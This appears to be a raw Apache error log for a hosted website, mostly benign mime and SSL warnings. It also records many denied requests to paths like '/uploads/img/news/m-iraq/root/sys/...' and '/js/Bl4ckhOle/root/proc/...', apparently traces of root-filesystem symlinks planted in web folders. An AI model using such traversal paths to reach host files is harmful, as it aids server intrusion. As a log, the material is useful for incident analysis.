[Fri Jul 17 09:42:02.396847 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396872 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396894 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396919 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396945 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396969 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.396990 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.397014 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.397048 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.397079 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.510221 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.538972 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.720801 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.812635 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:02.937670 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:03.276705 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:03.323798 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:45616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:03.370406 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:03.549141 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:03.693626 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:03.731606 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45640] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:03.760764 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:03.845206 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.036569 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.211405 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.302394 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.380349 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872620 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872703 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872727 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872747 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872770 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872789 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872808 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872828 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872846 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872867 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872886 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872906 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872926 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872946 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872964 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.872984 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873002 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873024 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873054 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873074 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873095 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873115 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873136 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873157 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873186 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873209 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873227 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873248 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873269 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873289 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873310 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873328 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873347 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873366 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873386 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873403 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873423 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873441 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873461 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873478 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873499 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873520 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873540 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873567 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873631 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873663 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:04.873685 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.041243 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.051906 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.096504 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.133200 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:45740] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:05.186236 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.323559 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.500200 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.500479 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.592008 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.681512 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:05.773389 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup14/device/drvctl
[Fri Jul 17 09:42:05.867104 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.049933 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.231380 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.465194 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.696695 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.696771 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.696827 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.696909 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.696935 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.696957 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697006 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697055 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697082 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697131 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697152 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697197 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697251 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697270 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697327 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697376 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.697443 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.788980 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.892815 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:06.972612 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:07.342507 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/shpchp/bind
[Fri Jul 17 09:42:07.451867 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:07.524564 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:07.814738 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:08.048309 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:45852] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:08.202203 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:00/subsystem/drivers/rtc_cmos/unbind
[Fri Jul 17 09:42:08.401563 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:08.546659 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:08.585727 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:08.783952 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/4/module/uevent
[Fri Jul 17 09:42:08.803192 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:08.876447 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:09.284294 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:09.373950 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/7/module/uevent
[Fri Jul 17 09:42:09.470623 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:09.662464 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:10.051306 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/button/unbind
[Fri Jul 17 09:42:10.324575 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:10.419255 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:10.525420 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:0b/uevent"] [unique_id "almrmpBVIrrUwtEhdafZmgAAAAU"]
[Fri Jul 17 09:42:10.525453 2026] [security2:error] [pid 2039911:tid 2039911] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup1/subsystem/wakeup11/device/device:0b/uevent"] [unique_id "almrmpBVIrrUwtEhdafZmgAAAAU"]
[Fri Jul 17 09:42:10.615286 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/drivers/button/LNXPWRBN:00/subsystem/uevent
[Fri Jul 17 09:42:10.722970 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:10.738706 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:10.806355 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:11.092553 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/clk-pmc-atom/uevent
[Fri Jul 17 09:42:11.175237 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/3/module/uevent
[Fri Jul 17 09:42:11.269508 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:11.366177 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:11.762638 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/acpi-ged/bind
[Fri Jul 17 09:42:11.803608 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:34146] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:12.055750 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.336694 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:22/subsystem/drivers/ec/unbind
[Fri Jul 17 09:42:12.435873 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.530337 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.616540 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.709947 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.715509 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/subsystem/wakeup12/device/driver/unbind
[Fri Jul 17 09:42:12.809021 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.906815 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:12.999086 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:13.288335 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:13.547775 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.014975 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS3/device/subsystem/drivers/clk-st/uevent
[Fri Jul 17 09:42:14.016884 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.335441 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.390229 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.582163 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.646323 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.769505 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:14.942580 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:15.152558 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:15.199284 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:34342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:15.218077 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:15.583298 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:15.908122 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:15.908210 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:15.989955 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.002744 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.221294 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.225623 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.285801 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.589953 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.702828 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:16.800977 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:34424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:16.890295 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:17.297423 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:17.404387 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:17.487007 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:17.674910 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/ec/unbind
[Fri Jul 17 09:42:17.773349 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:17.888597 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/MPTCPv6/free_calls
[Fri Jul 17 09:42:18.183903 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty43/subsystem/ttyS1/irq
[Fri Jul 17 09:42:18.295342 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:18.487729 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup14/device/subsystem/drivers/atkbd/unbind
[Fri Jul 17 09:42:18.523904 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 47.82.15.50:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/class/input/input1/input1::numlock/device/device/drvctl
[Fri Jul 17 09:42:18.779809 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:18.870104 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/vmd/unbind
[Fri Jul 17 09:42:18.870574 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/vmd/unbind"] [unique_id "almropuhBssQvDAz4zCp5AAAABI"]
[Fri Jul 17 09:42:18.870619 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/vmd/unbind"] [unique_id "almropuhBssQvDAz4zCp5AAAABI"]
[Fri Jul 17 09:42:18.964463 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/subsystem/wakeup12/device/driver/unbind
[Fri Jul 17 09:42:19.120673 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:19.168141 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty52/subsystem/ttyS1/irq
[Fri Jul 17 09:42:19.255122 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:19.568861 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:19.664855 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:19.768574 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:19.955263 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/devices/msr/subsystem/drivers_probe
[Fri Jul 17 09:42:19.955697 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 57.141.18.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory121/node0/memory126/node0/memory40/subsystem/devices/memory61/node0/compact
